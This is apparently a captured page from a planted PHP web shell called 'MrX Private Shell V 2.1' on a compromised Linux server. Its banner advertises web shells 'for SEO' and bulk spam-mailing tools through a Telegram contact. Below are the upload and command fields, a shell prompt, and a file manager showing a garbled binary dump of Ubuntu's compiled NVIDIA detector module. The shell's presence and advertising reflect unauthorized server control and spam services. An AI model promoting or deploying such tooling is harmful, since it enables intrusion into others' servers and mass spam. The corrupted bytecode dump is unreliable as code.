__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��fD��h�SrSSKrSSKJrJr SSKrSSKrSSKrSr"SS\	5r
"SS\5rg)	z)Detection tool for nVidia graphics cards �N)�Popen�PIPEz)/usr/share/ubuntu-drivers-common/obsoletec��\rSrSrSrSrg)�NoDatadirError�"z4Exception thrown when no modaliases dir can be found�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r��?/usr/lib/python3/dist-packages/NvidiaDetector/nvidiadetector.pyrr"s��:rrc�j�\rSrSrSrSS\4SjrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrg)�NvidiaDetection�&aW
A simple class to:
  * Detect the available graphics cards
  * See what drivers support them (If they are
    NVIDIA cards). If more than one card is
    available, try to find the highest common
    driver version which supports them all.
    (READ the comments in the code for further
    details)
  * Return the recommended driver version
Nc�<�SS0UlXlX lURU5UlUR5 UR
5 UR5 UR5 U(aUR5 g[UR55 g)a=
printonly = if set to None will make an instance
            of this class return the selected
            driver.
            If set to True it won't return
            anything. It will simply and print
            the choice.

verbose   = if set to True will make the methods
            print what is happening.
�currenti�N)� _NvidiaDetection__driver_aliases�	printonly�verbose�getObsoletePackages�oldPackages�	detection�getData�getCards�removeUnsupported�printSelection�print�selectDriver)�selfrr�obsoletes    r�__init__�NvidiaDetection.__init__3sv�� "+�D� 1���"�����3�3�H�=������������
�
����� �����!��$�#�#�%�&rc�\�URR5Hup#X1:XdMUs $ g)z7Get the name of a driver from its corresponding integerN)r�items)r"�value�k�vs    r�__get_name_from_value�%NvidiaDetection.__get_name_from_valueQs,���)�)�/�/�1�D�A��z���2�rc��URRU5nUc<URS5(a[UR	SS55n[U5nU$)z2Get the integer associated to the name of a driverz-server�)r�get�endswith�int�replace)r"�namer*s   r�__get_value_from_name�%NvidiaDetection.__get_value_from_nameXsO���!�!�%�%�d�+���9��}�}�Y�'�'�����Y��3�4���D�	�A��rc���/n[U5R5Vs/sHo3R5PM nnUVs/sHo3S:wdM
UPM nnU$s snfs snf![a U$f=f)z.Read the list of obsolete packages from a filer.)�open�	readlines�strip�IOError)r"r#�tempList�xs    rr�#NvidiaDetection.getObsoletePackagesasr����	�+/��>�+C�+C�+E�F�+E�a���	�+E�H�F�#+�7�8�a�B�w��8�H�7����	G��7���	����	�s2�A�A�A�	A�A�A�
A�
A-�,A-c�B�/Ul[SS/[SS9nUR5SR	S5n[
R"S5n[
R"S5nUGH2nURU5nURU5nU(aURS	5R5R5nURS
5R5R5n	US-U	-n
URRU
5 M�U(dM�URS	5R5R5nURS
5R5R5n	US-U	-n
URRU
5 GM5 g)
zF
Detect the models of the graphics cards
and store them in self.cards
�lspciz-nT��stdout�universal_newlinesr�
z6.*03(80|0[0-2]): *(?P<vendor>.+):(?P<device>.+) \(.+\)z/.*03(80|0[0-2]): *(?P<vendor>.+):(?P<device>.+)�vendor�device�:N)�cardsrr�communicate�split�re�compile�match�groupr9�lower�append)r"�p1�p�indentifier1�indentifier2�line�m1�m2�id1�id2�ids           rr�NvidiaDetection.detectionksI��
��
�
�G�T�?�4�D�
I���N�N��Q��%�%�d�+���z�z�"[�\���z�z�"T�U���D��#�#�D�)�B��#�#�D�)�B���h�h�x�(�.�.�0�6�6�8���h�h�x�(�.�.�0�6�6�8���3�Y��_���
�
�!�!�"�%����h�h�x�(�.�.�0�6�6�8���h�h�x�(�.�.�0�6�6�8���3�Y��_���
�
�!�!�"�%�rc��0Ul[R"S5n[R"S5n[R"5GH�nUR
R
S5(a0SUR
;d SUR
;dSUR
;aMVURRSnURUR
5nU(aURS5nO%[R"S	UR
-5 M�URU5nU(GaXDR!S
5S-SR#SS
5nUR%S5H�nURUR'55n	U	(d*[R"SUR
<SU<35 MSU	RS5R)5n
U	RS5R)5nURR+U/5R-U
S-U-5 M� GM�GM� [1URR355S:Xa*[4R6R95 [;S5 gg![[4a GMNf=f![.a- [R"SUR
<SU<35 GM�f=f)zQ
Get the data from the modaliases for each driver
and store them in self.drivers
zpci:v0000(.+)d0000(.+)svz5nvidia(?:\-driver|)\-([0-9]+)(:?\-server|)(:?\:i386|)�nvidia-�updates�experimentalr�
Modaliases�z/%s package has unexpected name scheme. Skipping�(N�)r.�,zPackage z has unexpected modalias: �rFz has invalid modalias header: r�none)�driversrJrK�apt�Cacher3�
startswith�	candidate�record�KeyError�AttributeErrorrLrM�logging�error�%_NvidiaDetection__get_value_from_name�findr2rI�lstriprN�
setdefaultrO�
ValueError�len�keys�sysrA�flushr )r"�vendor_product_re�
package_re�package�m�
package_match�stripped_package_name�driver_version�alias�vprD�products            rr�NvidiaDetection.getData�s?��
����J�J�'A�B���Z�Z� X�Y�
��y�y�{�G��L�L�+�+�I�6�6�����-�"�g�l�l�2�����-��
��%�%�,�,�\�:��'�,�,�W�\�\�:�M��(5�(;�(;�A�(>�%��
�
�O��L�L�"�#��!�7�7�8M�N�N�
&���6�6�#�;�q�=�*�+�3�3�C��<�A�!"������.�4�4�U�\�\�^�D��!�#�M�M� '���e�+5�6�$�!#���!��!2�!2�!4��"$�(�(�1�+�"3�"3�"5�����/�/���C�J�J� &���w� 6�8�".��7#�\�t�|�|� � �"�#�q�(��J�J�����&�M�)��M�n�-�
��	
��@�
&��
�
��L�L�!�%�&�&�
&�s%� J�$DJ�J�J�2K�Kc��0Ul/UlURHZnUSURS5S:XdMUR(a[SU-S-5 URR
U5 M\ [URSS9Ul	URH�nSnURHhnXRU;dMSnUR(a[S	U<S
U<35 URRU/5R
U5 Mj U(aM�URRU/5R
S5 M� g)zp
See if the detected graphics cards are NVIDIA cards.
If they are NVIDIA cards, append them to self.nvidiaCards
rrF�10dezNVIDIA card found (rbT��reverseFzCard z supported by driver N)�driversForCards�nvidiaCardsrGrqrr rO�sortedrf�orderedListrs)r"�card�	supported�drivers    rr�NvidiaDetection.getCards�s ��
 "������		��J�J�D��A�t�y�y��~�&�&�0��<�<��/�$�6��<�=�� � �'�'��-�	�"�$�,�,��=���	��$�$�D��I��*�*���<�<��/�/� $�I��|�|��$��O�P��(�(�3�3�D�"�=�D�D�V�L�+��9��$�$�/�/��b�9�@�@��F�%rc��/nURH)nSURU;dMURU5 M+ UHJnUR(a[SU-5 URRU5 URU	ML g)zN
Remove unsupported cards from self.nvidiaCards and from
self.driversForCards
NzRemoving unsupported card )r�rOrr r��remove)r"�unsupportedCardsr��unsupporteds    rr�!NvidiaDetection.removeUnsupported�s~��
���(�(�D��t�+�+�D�1�1� �'�'��-�)�,�K��|�|��2�[�@�A����#�#�K�0��$�$�[�1�	,rc�&�[UR5nUS:�Ga�US:�Ga0nURH7nURUH!nURUS5 X$==S-
ss'M# M9 [	USS9n/nUHnX'U:XdM
URU5 M  [U5S:�aFUR
SS9 USnUR(aUR(d[SU-5 O�USnUR(aUR(d[SU-5 OgUR[URR55SSnUR(aUR(d[SU-5 URU5n	U	b%US:�=(a S	=(d S
[U	5-nU$US:�=(a S	=(d S
[U5-nU$UR(a[S5 SnU$)zJ
If more than one card is available, try to get the highest common driver
rr`Tr�zRecommended NVIDIA driver: zRecommended NVIDIA driver: %dNi�znvidia-driver-r\zNo NVIDIA package to install)rur�r�rsr�rO�sortrrr �listrv�%_NvidiaDetection__get_name_from_value�str)
r"�cardsNumber�
occurrencer��drv�occurrences�
candidatesr��choice�driver_names
          rr!�NvidiaDetection.selectDrivers����$�*�*�+����?��Q��� �
� �0�0�D�#�3�3�D�9��"�-�-�c�1�5�"��1�,�� :�1�
%�Z��>��� �
�)�F�!�)�[�8�"�)�)�&�1�*��z�?�Q�&���O�O�D�O�1�'��]�F��|�|�D�N�N��;�f�D�E��
�)��^�F��|�|�D�N�N��;�f�D�E���
�-�-�d�4�3G�3G�3L�3L�3N�.O�PQ�.R�S�TU�V���<�<�����9�F�B�C�
��4�4�V�<�K��&� �C�-�<�,<�I�	�S�Q\�M]�]���
�!�C�-�<�,<�I�	�S�QW�[�X���
�
��|�|��4�5��F��
rc�*�/n/n[SS/[SS9nUR5SnURS5nUH=nUR	S5S:wdMURURS	5S5 M? [
U[5(aURU5(aU$UHnURU5(aMM U$![a URU5 U$f=f![a URU5 Mbf=f)
z�
USAGE:
    * pkglist is the list of packages  you want to check
    * use lists for one or more packages
    * use a string if it is only one package
    * lists will work well in both cases
�dpkgz--get-selectionsTr@rrCz	install����	)
rrrHrIrqrO�
isinstancer��indexrt)	r"�pkglist�lines�notinstalledrPrQ�crT�pkgs	         r�checkpkg�NvidiaDetection.checkpkgds��	�����
�F�.�/��QU�
V���N�N��Q���
�G�G�D�M���D��y�y��%��+����T�Z�Z��-�a�0�1���g�s�#�#�
-��;�;�w�'�'������-��{�{�3�'�'��(������
-��#�#�G�,���
-��"�-� �'�'��,�-�s$�C�3C3�C0�/C0�3D�Dc�z�URUR5n[U5[UR5:g$)z�
oldPackages = a list of the names of the obsolete drivers
notInstalled = a list of the obsolete drivers which are not
               installed
)r�rru)r"�notInstalleds  r�
getDrivers�NvidiaDetection.getDrivers�s5���}�}�T�%5�%5�6���L�!�S��)9�)9�%:�:�;rc�V�UR5nUR5(a[U(a*[RR	5 [U5 g[RR	5 [S5 g[RR	5 [U5 g)z&
Part for the kernel postinst.d/ hook
reN)r!r�rwrArxr )r"r�s  rr�NvidiaDetection.printSelection�si���"�"�$���?�?�����
�
� � �"��f�
��
�
� � �"��f�
�
�J�J�����&�Mr)	�__driver_aliasesrGrfr�r�rr�rr)r	r
rrr
�obsoletePackagesPathr$r�rprrrrrr!r�r�rrrrrrr&sT��
�"&�t�>R�'�<���&�B9�x,G�\2� \�|"�H<� rr)
r
rJ�
subprocessrrrwrnrgr��	Exceptionr�objectrrrr�<module>r�s;��1�,
�"�
��
�B��;�Y�;�A�f�Ar

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 154 B 0644
alternatives.cpython-313.pyc File 8.15 KB 0644
nvidiadetector.cpython-313.pyc File 14.87 KB 0644
Filemanager